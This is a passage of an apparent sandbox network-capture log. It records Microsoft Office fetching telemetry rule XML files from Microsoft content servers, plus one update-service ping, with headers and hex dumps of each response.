74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.5	60465	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:35 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:36 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:36 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: f473ee8a-401e-00ac-6cf0-260a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120836Z-16849878b786jv8w2kpaf5zkqs00000005f0000000002mxx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:36 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.5	60466	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:36 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:36 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:36 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 19a18c92-701e-0098-0fb0-26395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120836Z-16849878b78wv88bk51myq5vxc00000006t0000000008d26 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:36 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.5	60467	20.109.210.53	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:36 UTC	124	OUT	GET /sls/ping HTTP/1.1 Connection: Keep-Alive User-Agent: DNS resiliency checker/1.0 Host: slscr.update.microsoft.com
2024-10-29 12:08:36 UTC	318	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Expires: -1 MS-CV: soBrMbw83EWwpiYD.0 MS-RequestId: 6154616d-ed65-4d10-8aa5-cff6c5b78891 MS-CorrelationId: c96fa449-2a57-4bae-8c01-ffabc64e5e29 X-Content-Type-Options: nosniff Date: Tue, 29 Oct 2024 12:08:35 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.5	60468	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:36 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:36 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:36 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: b981dc60-601e-0097-7636-29f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120836Z-15b8d89586flzzksdx5d6q7g1000000001m0000000008zvk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:36 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.5	60469	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:36 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:36 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:36 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 2e99a458-901e-0067-29ae-26b5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120836Z-16849878b78hh85qc40uyr8sc800000006qg00000000dabf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:36 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.5	60470	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:36 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:36 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:36 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 1b4bca5c-501e-000a-63e3-260180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120836Z-17c5cb586f6wnfhvhw6gvetfh4000000060g0000000020nx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:36 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.5	60471	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:36 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:37 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:37 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: d8669f86-801e-0083-53a9-29f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120837Z-17c5cb586f6mkpfkkpsf1dpups00000001u0000000006203 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 12:08:37 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.5	60472	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:36 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:37 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:37 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 8f4dae4f-901e-008f-19cb-2767a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120837Z-17c5cb586f672xmrz843mf85fn00000005dg00000000001t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:37 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.5	60473	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:37 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:37 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:37 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 255ed8c5-301e-0051-461c-2738bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120837Z-16849878b78nx5sne3fztmu6xc00000007gg0000000062bh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:37 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.5	60474	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:37 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:37 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:37 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 9bc6d014-801e-008f-4946-262c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120837Z-r197bdfb6b4wmcgqdschtyp7yg00000006bg00000000aast x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:37 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.5	60475	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:37 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:37 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:37 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 174e4ed1-f01e-0052-3d1b-279224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120837Z-16849878b78qg9mlz11wgn0wcc0000000620000000009yxz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:37 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.5	60476	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:37 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:37 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:37 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 2e8006eb-901e-0083-471c-26bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120837Z-16849878b78qfbkc5yywmsbg0c000000067g000000004due x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:37 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> 